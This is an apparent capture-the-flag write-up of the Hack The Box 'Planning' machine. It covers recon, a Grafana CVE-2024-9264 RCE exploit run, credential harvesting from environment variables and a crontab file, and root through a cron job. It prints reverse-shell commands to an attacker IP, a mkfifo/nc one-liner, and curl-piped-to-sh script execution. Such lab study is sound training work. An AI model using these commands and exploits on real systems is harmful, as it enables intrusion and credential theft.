Planning
Box Credentials
1
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r
We are already provided with the creds for the box, perhaps they could be used to interact with a service.
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nmap -PN -sC -sV -oN planning 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 21:42 PKT
Nmap scan report for 10.10.11.68
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.40 seconds
We have an http page planning.htb, add it to our /etc/hosts file. It’s a simple website with seemingly no public login page or robots.txt. It has php running on backend. Let’s scan for top 50 udp ports as well.
For the top 50 UDP ports:
1
2
3
4
5
6
7
8
9
sudo nmap -sU --top-ports 50 10.10.11.68
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 21:55 PKT
Nmap scan report for planning.htb (10.10.11.68)
Host is up (1.5s latency).
All 50 scanned ports on planning.htb (10.10.11.68) are in ignored states.
Not shown: 50 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 73.14 seconds
Subdomain Discovery
It took me 4 wordlists to discover a subdomain. It reminded me of how patience, and resilience is required at every step of Pentesting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster vhost -u http://planning.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain -t 80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb
[+] Method: GET
[+] Threads: 80
[+] Wordlist: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
We are presented with a login page. The version for grafana is Grafana v11.0.0 (83b9528bce). Let’s if our creds work here. They do. Perhaps we could expoit it. We have an RCE exploit for this version.
Exploiting CVE-2024-9264
Let’s grab it from CVE-2024-9264 Exploit. Let’s run the POC according to the usage instruction.
1
2
3
4
python3 poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.66 --reverse-port 1234
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 1234
We have root shell?
1
2
3
4
5
6
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.66] from (UNKNOWN) [10.10.11.68] 42274
sh: 0: can't access tty; job control turned off
# whoami
root
TTY Upgrade:
/usr/bin/script -qc /bin/bash /dev/null
It seems like there are no flags here. ss command, python binary, a lot of commands are missing. Perhaps this isn’t the main machine that we need to compromise. This might be a docker instance. We will get LinPEAS up and running.
Foothold
LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh > linpeas.sh
Let’s start a python server and transfer the script.
Attacker Machine (in LinPEAS directory): python3 -m http.server
Victim Machine:
1
curl 10.10.16.66:8000/linpeas.sh | sh
We found some creds while running LinPEAS:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
╔══════════╣ Environment
╚ Any private information inside environment variables?
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=/usr/bin/sh
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
enzo:RioTecRANDEntANT!
Perhaps this file be of interest too: /var/lib/grafana/grafana.db
SSH into planning.htb
Using enzo creds we can SSH into planning.htb. We have user flag.
Privilege Escalation
Listing all the listening services we get:
1
2
3
4
5
6
7
8
9
10
11
12
13
enzo@planning:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:45035 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 *:22 *:*
We can identify mysql. An http web on 8000? Let’s try creating an SSH Tunnel. We are immediately presented with a login. Testing combination of credentials don’t help. We might have to go through the victim machine thoroughly. Using LinPEAS we discovered an unsual .db file that is /opt/crontabs/crontab.db and we got:
1
2
3
cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
We have a password P4ssw0rdS0pRi0T3c. Let’s try this on the SSH tunnel website. After trying every combination what worked was root:P4ssw0rdS0pRi0T3c. Since cronjobs are usually ran as root we could leverage this and run a reverse shell.
Command to create a new job with: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.66 1234 >/tmp/f
Just start a listener and run the command from the web portal and you will have a shell as root.
1
2
3
4
5
6
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.66] from (UNKNOWN) [10.10.11.68] 42868
sh: 0: can't access tty; job control turned off
# whoami
root